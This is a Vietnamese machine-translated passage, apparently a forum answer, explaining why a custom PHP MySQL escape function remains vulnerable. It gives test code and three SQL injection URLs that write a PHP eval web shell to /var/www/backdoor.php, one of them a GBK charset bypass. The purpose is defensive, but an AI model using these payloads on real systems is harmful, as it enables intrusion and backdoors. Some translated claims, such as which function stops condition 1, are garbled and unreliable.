Nếu bạn chỉ thay thế '
với ''
thì bạn có thể khai thác điều này bằng cách chèn một \'
sẽ chuyển thành \''
và điều này sẽ cho phép bạn bứt phá vì điều này cung cấp cho bạn một câu trích dẫn đơn "theo nghĩa đen" và một câu trích dẫn đơn thực sự. Tuy nhiên, việc thay thế "\\"
với "\\\\"
phủ nhận cuộc tấn công này. Dấu ngoặc kép đơn được sử dụng để "thoát" dấu ngoặc kép đơn cho MS-SQL, nhưng điều này không phù hợp với MySQL, nhưng nó có thể hoạt động.
Các mã sau chứng minh rằng chức năng thoát này an toàn cho tất cả ngoại trừ ba điều kiện . Mã này hoán vị mặc dù tất cả các biến thể có thể có của biểu đồ kiểm soát và kiểm tra từng biến thể để đảm bảo lỗi không xảy ra với một câu lệnh select được bao bọc bởi một trích dẫn duy nhất. Mã này đã được thử nghiệm trên MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Điều kiện dễ bị tổn thương 1:không sử dụng dấu ngoặc kép.
mysql_query("select username from users where id=".escape($_GET['id']));
Khai thác:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Điều kiện dễ bị tổn thương 2:sử dụng dấu ngoặc kép
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Khai thác:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Điều kiện dễ bị tổn thương 2:các dấu ngoặc kép được sử dụng, tuy nhiên bộ ký tự thay thế được sử dụng. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Khai thác:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Kết luận là luôn sử dụng mysql_real_escape_string()
như một quy trình thoát cho MySQL. Các thư viện truy vấn được tham số hóa như pdo và adodb luôn sử dụng mysql_real_escape_string()
khi được kết nối với cơ sở dữ liệu mysql. addslashes()
là FAR TỐT HƠN của một quy trình thoát vì nó xử lý tình trạng dễ bị tấn công 2. Cần lưu ý rằng ngay cả mysql_real_escape_string()
sẽ dừng điều kiện 1, tuy nhiên, một thư viện truy vấn được tham số hóa sẽ dừng lại.